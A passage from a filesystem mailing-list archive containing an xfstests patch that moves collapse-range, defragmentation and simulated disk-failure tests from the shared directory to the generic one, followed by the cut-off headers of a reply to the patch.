+stop_fail_scratch_dev() +{ + echo "Make SCRATCH_DEV device operable again" + echo " echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full + echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail + +} + +_cleanup() +{ + poweron_scratch_dev + disallow_fail_make_request + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 1 2 3 15 + +RUN_TIME=$((20+10*$TIME_FACTOR)) +NUM_JOBS=$((4*LOAD_FACTOR)) +BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` +FILE_SIZE=$((BLK_DEV_SIZE * 512)) + +cat >$fio_config <> $seqres.full + $FSSTRESS_PROG $args > /dev/null 2>&1 & + fs_pid=$! + echo "Start fio.." + cat $fio_config >> $seqres.full + $FIO_PROG $fio_config >> $seqres.full 2>&1 & + fio_pid=$! + + # Let's it work for awhile, and force device failure + sleep $RUN_TIME + start_fail_scratch_dev + # After device turns in to failed state filesystem may yet not know about + # that so buffered write(2) may succeed, but any integrity operations + # such as (sync, fsync, fdatasync, direct-io) should fail. + dd if=/dev/zero of=$SCRATCH_MNT/touch_failed_filesystem count=1 bs=4k conv=fsync \ + >> $seqres.full 2>&1 && \ + _fail "failed: still able to perform integrity fsync on $SCRATCH_MNT" + + kill $fs_pid + wait $fs_pid + wait $fio_pid + + # We expect that broken FS still can be umounted + run_check umount $SCRATCH_DEV + # Once filesystem was umounted no one is able to write to block device + # It is now safe to bring device back to normal state + stop_fail_scratch_dev + + # In order to check that filesystem is able to recover journal on mount(2) + # perform mount/umount, after that all errors should be fixed + run_check _scratch_mount + run_check _scratch_unmount + _check_scratch_fs +} + +# real QA test starts here + +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" +_scratch_mount || _fail "mount failed" +allow_fail_make_request +_workout +status=$? +disallow_fail_make_request +exit diff --git a/tests/generic/019.out b/tests/generic/019.out new file mode 100644 index 0000000..36c2af8 --- /dev/null +++ b/tests/generic/019.out @@ -0,0 +1,9 @@ +QA output created by 019 +Allow global fail_make_request feature + +Start fsstress.. + +Start fio.. +Force SCRATCH_DEV device failure +Make SCRATCH_DEV device operable again +Disallow global fail_make_request feature diff --git a/tests/generic/group b/tests/generic/group index a99b6a1..5065780 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -6,15 +6,22 @@ 001 rw dir udf auto quick 002 metadata udf auto quick 003 atime auto quick +004 auto quick prealloc 005 dir udf auto quick 006 dir udf auto quick 007 dir udf auto quick 008 auto quick prealloc +009 auto quick prealloc 010 other udf auto 011 dir udf auto quick +012 auto quick prealloc 013 other ioctl udf auto quick 014 rw udf auto quick 015 other auto quick +016 auto quick prealloc +017 auto prealloc +018 auto fsr quick +019 aio dangerous enospc rw stress 020 metadata attr udf auto quick 053 acl repair auto quick 062 attr udf auto quick diff --git a/tests/shared/001 b/tests/shared/001 deleted file mode 100755 index 9383ccb..0000000 --- a/tests/shared/001 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/001 -# -# Standard collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/001.out b/tests/shared/001.out deleted file mode 100644 index 919dd12..0000000 --- a/tests/shared/001.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 001 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f4f35d60b3cc18aaa6d8d92f0cd3708a - 4. hole -> data -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 5. hole -> unwritten -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 10. hole -> data -> hole -bb7df04e1b0a2570657527a7e108ae23 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -bb7df04e1b0a2570657527a7e108ae23 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/002 b/tests/shared/002 deleted file mode 100644 index a9e54ba..0000000 --- a/tests/shared/002 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/002 -# -# Delayed allocation collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/002.out b/tests/shared/002.out deleted file mode 100644 index 60aaadc..0000000 --- a/tests/shared/002.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 002 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f4f35d60b3cc18aaa6d8d92f0cd3708a - 4. hole -> data -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 5. hole -> unwritten -0: [0..31]: hole -1: [32..63]: extent -2: [64..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -d8f51c20223dbce5c7c90db87bc221b0 - 10. hole -> data -> hole -bb7df04e1b0a2570657527a7e108ae23 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -bb7df04e1b0a2570657527a7e108ae23 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/003 b/tests/shared/003 deleted file mode 100644 index b6e9fd4..0000000 --- a/tests/shared/003 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/003 -# -# Multi collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/003.out b/tests/shared/003.out deleted file mode 100644 index 0a786c9..0000000 --- a/tests/shared/003.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 003 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f07217d5ac7ffa15dd8910c4aa912674 - 4. hole -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 5. hole -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 10. hole -> data -> hole -0: [0..31]: extent -1: [32..63]: hole -76cc863b386460b228a493933813a6a0 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -76cc863b386460b228a493933813a6a0 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/004 b/tests/shared/004 deleted file mode 100644 index f55aae4..0000000 --- a/tests/shared/004 +++ /dev/null @@ -1,65 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/004 -# -# Delayed allocation multi collapse range tests -# This testcase is one of the 4 testcases (shared 001 - 004) which tries to -# test various corner cases for fcollapse range functionality over different -# type of extents. These tests are based on generic/255 test case. -# For the type of tests, check the description of _test_generic_punch -# in common/rc. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! - -_cleanup() -{ - rm -f $tmp.* -} - -trap "_cleanup ; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -# we need to include common/punch to get defination fo filter functions -. ./common/rc -. ./common/filter -. ./common/punch - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_xfs_io_falloc_punch -_require_xfs_io_falloc -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse - -testfile=$TEST_DIR/$seq.$$ - -_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile -_check_test_fs - -status=0 -exit diff --git a/tests/shared/004.out b/tests/shared/004.out deleted file mode 100644 index 9ccffd7..0000000 --- a/tests/shared/004.out +++ /dev/null @@ -1,49 +0,0 @@ -QA output created by 004 - 1. into a hole -f4f35d60b3cc18aaa6d8d92f0cd3708a - 2. into allocated space -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 - 3. into unwritten space -0: [0..95]: extent -f07217d5ac7ffa15dd8910c4aa912674 - 4. hole -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 5. hole -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 6. data -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 7. data -> unwritten -0: [0..63]: extent -1: [64..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 8. unwritten -> hole -0: [0..31]: extent -1: [32..95]: hole -f07217d5ac7ffa15dd8910c4aa912674 - 9. unwritten -> data -0: [0..63]: extent -1: [64..95]: hole -e5c94f6299822646f9f57aeacd8bdc01 - 10. hole -> data -> hole -0: [0..31]: extent -1: [32..63]: hole -76cc863b386460b228a493933813a6a0 - 11. data -> hole -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 12. unwritten -> data -> unwritten -0: [0..63]: extent -76cc863b386460b228a493933813a6a0 - 13. data -> unwritten -> data -0: [0..63]: extent -0f0151cbed83e4bf6e5bde26e82ab115 - 14. data -> hole @ 0 -0: [0..95]: extent -f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/005 b/tests/shared/005 deleted file mode 100644 index c6d4bb6..0000000 --- a/tests/shared/005 +++ /dev/null @@ -1,90 +0,0 @@ -#! /bin/bash -# FS QA Test No. shared/005 -# -# Test multiple fallocate collapse range calls on same file. -# For different blocksizes, collapse a single alternate block multiple times -# until the file is left with 80 blocks and as much number of extents. -# Also check for file system consistency after completing this operation -# for each blocksize. -#----------------------------------------------------------------------- -# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter - -# real QA test starts here -_supported_fs xfs ext4 -_supported_os Linux - -_require_scratch -_require_xfs_io_fiemap -_require_xfs_io_falloc_collapse -_do_die_on_error=y -testfile=$SCRATCH_MNT/$seq.$$ -BLOCKS=10240 - -for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do - - length=$(($BLOCKS * $BSIZE)) - case $FSTYP in - xfs) - _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 - ;; - ext4) - _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 - ;; - esac - _scratch_mount >> $seqres.full 2>&1 - - # Write file - $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null - - # Collapse alternate blocks - for (( i = 1; i <= 7; i++ )); do - for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do - offset=$(($j*$BSIZE)) - $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null - done - done - - # Check if 80 extents are present - $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l - - _check_scratch_fs - if [ $? -ne 0 ]; then - status=1 - exit - fi - - umount $SCRATCH_MNT -done - -# success, all done -status=0 -exit diff --git a/tests/shared/005.out b/tests/shared/005.out deleted file mode 100644 index 8d30b9d..0000000 --- a/tests/shared/005.out +++ /dev/null @@ -1,4 +0,0 @@ -QA output created by 005 -80 -80 -80 diff --git a/tests/shared/218 b/tests/shared/218 deleted file mode 100755 index cd2076e..0000000 --- a/tests/shared/218 +++ /dev/null @@ -1,93 +0,0 @@ -#! /bin/bash -# FS QA Test No. 218 -# -# Basic defragmentation sanity tests -# -#----------------------------------------------------------------------- -# Copyright (c) 2009 Eric Sandeen. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter -. ./common/defrag - -# real QA test starts here -_supported_fs xfs ext4 btrfs -_supported_os Linux - -# We require scratch so that we'll have free contiguous space -_require_scratch -_scratch_mkfs >/dev/null 2>&1 -_scratch_mount - -_require_defrag - -fragfile=$SCRATCH_MNT/fragfile.$$ - -rm -f $fragfile - -# Craft some fragmented files, defrag them, check the result. - -echo "zero-length file:" | tee -a $seqres.full -touch $fragfile -_defrag $fragfile - -echo "Sparse file (no blocks):" | tee -a $seqres.full -$XFS_IO_PROG -f -c "truncate 1m" $fragfile -_defrag $fragfile - -echo "Contiguous file:" | tee -a $seqres.full -dd if=/dev/zero of=$fragfile bs=4k count=4 &>/dev/null -_defrag $fragfile - -echo "Write backwards sync, but contiguous - should defrag to 1 extent" | tee -a $seqres.full -for I in `seq 9 -1 0`; do - dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null -done -_defrag $fragfile - -echo "Write backwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full -for I in `seq 31 -2 0`; do - dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null -done -_defrag $fragfile - -echo "Write forwards sync leaving holes - defrag should do nothing" | tee -a $seqres.full -for I in `seq 0 2 31`; do - dd if=/dev/zero of=$fragfile bs=4k count=1 conv=notrunc seek=$I oflag=sync &>/dev/null -done -_defrag $fragfile - -rm -f $seqres.full -status=0 -exit diff --git a/tests/shared/218.out b/tests/shared/218.out deleted file mode 100644 index 7559cdd..0000000 --- a/tests/shared/218.out +++ /dev/null @@ -1,19 +0,0 @@ -QA output created by 218 -zero-length file: -Before: 0 -After: 0 -Sparse file (no blocks): -Before: 0 -After: 0 -Contiguous file: -Before: 1 -After: 1 -Write backwards sync, but contiguous - should defrag to 1 extent -Before: 10 -After: 1 -Write backwards sync leaving holes - defrag should do nothing -Before: 16 -After: 16 -Write forwards sync leaving holes - defrag should do nothing -Before: 16 -After: 16 diff --git a/tests/shared/305 b/tests/shared/305 deleted file mode 100755 index 8e8b0cb..0000000 --- a/tests/shared/305 +++ /dev/null @@ -1,187 +0,0 @@ -#! /bin/bash -# FSQA Test No. 305 -# -# Run fsstress and fio(dio/aio and mmap) and simulate disk failure -# check filesystem consistency at the end. -# -#----------------------------------------------------------------------- -# (c) 2013 Dmitry Monakhov -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -fio_config=$tmp.fio -status=1 # failure is the default! - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter -_supported_fs ext3 ext4 xfs btrfs reiserfs -_supported_os Linux -_need_to_be_root -_require_scratch -_require_fail_make_request - -# TODO: Function are common enough to be moved to common/blkdev -SCRATCH_REAL_DEV=`readlink -f $SCRATCH_DEV` -SCRATCH_BDEV=`basename $SCRATCH_REAL_DEV` - -allow_fail_make_request() -{ - echo "Allow global fail_make_request feature" - echo 100 > $DEBUGFS_MNT/fail_make_request/probability - echo 9999999 > $DEBUGFS_MNT/fail_make_request/times - echo 0 > /sys/kernel/debug/fail_make_request/verbose -} - -disallow_fail_make_request() -{ - echo "Disallow global fail_make_request feature" - echo 0 > $DEBUGFS_MNT/fail_make_request/probability - echo 0 > $DEBUGFS_MNT/fail_make_request/times -} - -start_fail_scratch_dev() -{ - echo "Force SCRATCH_DEV device failure" - echo " echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full - echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail - -} - -stop_fail_scratch_dev() -{ - echo "Make SCRATCH_DEV device operable again" - echo " echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full - echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail - -} - -_cleanup() -{ - poweron_scratch_dev - disallow_fail_make_request - rm -f $tmp.* -} -trap "_cleanup; exit \$status" 1 2 3 15 - -RUN_TIME=$((20+10*$TIME_FACTOR)) -NUM_JOBS=$((4*LOAD_FACTOR)) -BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -FILE_SIZE=$((BLK_DEV_SIZE * 512)) - -cat >$fio_config <> $seqres.full - $FSSTRESS_PROG $args > /dev/null 2>&1 & - fs_pid=$! - echo "Start fio.." - cat $fio_config >> $seqres.full - $FIO_PROG $fio_config >> $seqres.full 2>&1 & - fio_pid=$! - - # Let's it work for awhile, and force device failure - sleep $RUN_TIME - start_fail_scratch_dev - # After device turns in to failed state filesystem may yet not know about - # that so buffered write(2) may succeed, but any integrity operations - # such as (sync, fsync, fdatasync, direct-io) should fail. - dd if=/dev/zero of=$SCRATCH_MNT/touch_failed_filesystem count=1 bs=4k conv=fsync \ - >> $seqres.full 2>&1 && \ - _fail "failed: still able to perform integrity fsync on $SCRATCH_MNT" - - kill $fs_pid - wait $fs_pid - wait $fio_pid - - # We expect that broken FS still can be umounted - run_check umount $SCRATCH_DEV - # Once filesystem was umounted no one is able to write to block device - # It is now safe to bring device back to normal state - stop_fail_scratch_dev - - # In order to check that filesystem is able to recover journal on mount(2) - # perform mount/umount, after that all errors should be fixed - run_check _scratch_mount - run_check _scratch_unmount - _check_scratch_fs -} - -# real QA test starts here - -_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" -_scratch_mount || _fail "mount failed" -allow_fail_make_request -_workout -status=$? -disallow_fail_make_request -exit diff --git a/tests/shared/305.out b/tests/shared/305.out deleted file mode 100644 index 1e8cfd6..0000000 --- a/tests/shared/305.out +++ /dev/null @@ -1,9 +0,0 @@ -QA output created by 305 -Allow global fail_make_request feature - -Start fsstress.. - -Start fio.. -Force SCRATCH_DEV device failure -Make SCRATCH_DEV device operable again -Disallow global fail_make_request feature diff --git a/tests/shared/group b/tests/shared/group index 29f17b0..1c6fffb 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -3,17 +3,9 @@ # - do not start group names with a digit # - comment line before each group is "new" description # -001 auto quick prealloc -002 auto quick prealloc -003 auto quick prealloc -004 auto quick prealloc -005 auto prealloc 032 mkfs auto quick 051 acl udf auto quick -218 auto fsr quick 243 auto quick prealloc 272 auto enospc rw 289 auto quick 298 auto trim -305 aio dangerous enospc rw stress - -- 1.8.3.1 From david@fromorbit.com Tue Mar 25 17:46:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EA9D67F3F for ; Tue, 25 Mar 2014 17:46:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A21E2AC002 for ; Tue, 25 Mar 2014 15:46:11 -0700 (PDT) X-ASG-Debug-ID: 1395787565-04cb6c567691c150001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 9fJXBoj062L7yNk5 for ; Tue, 25 Mar 2014 15:46:06 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AisFAPUFMlMM6ME1/2dsb2JhbABZgwa+IYVdgR0WdIIlAQEBBCcTPxAIAw0BCgklDwUoIROHfM9qF45uB4Q4BJhMhnWLPoNCKQ Received: from unknown (HELO destitution) ([12.232.193.53]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Mar 2014 09:16:04 +1030 Received: from dave by destitution with local (Exim 4.82) (envelope-from ) id 1WSa6M-0005wb-9f; Wed, 26 Mar 2014 09:45:46 +1100 Date: Wed, 26 Mar 2014 09:45:46 +1100 From: Dave Chinner To: Lukas Czerner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfstests: Make some shared tests generic Message-ID: <20140325224546.GI18572@destitution> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfstests: Make some shared tests generic References: <1395781911-13084-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1395781911-13084-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1395787565 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4245 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Mar 25, 2014 at 10:11:50PM 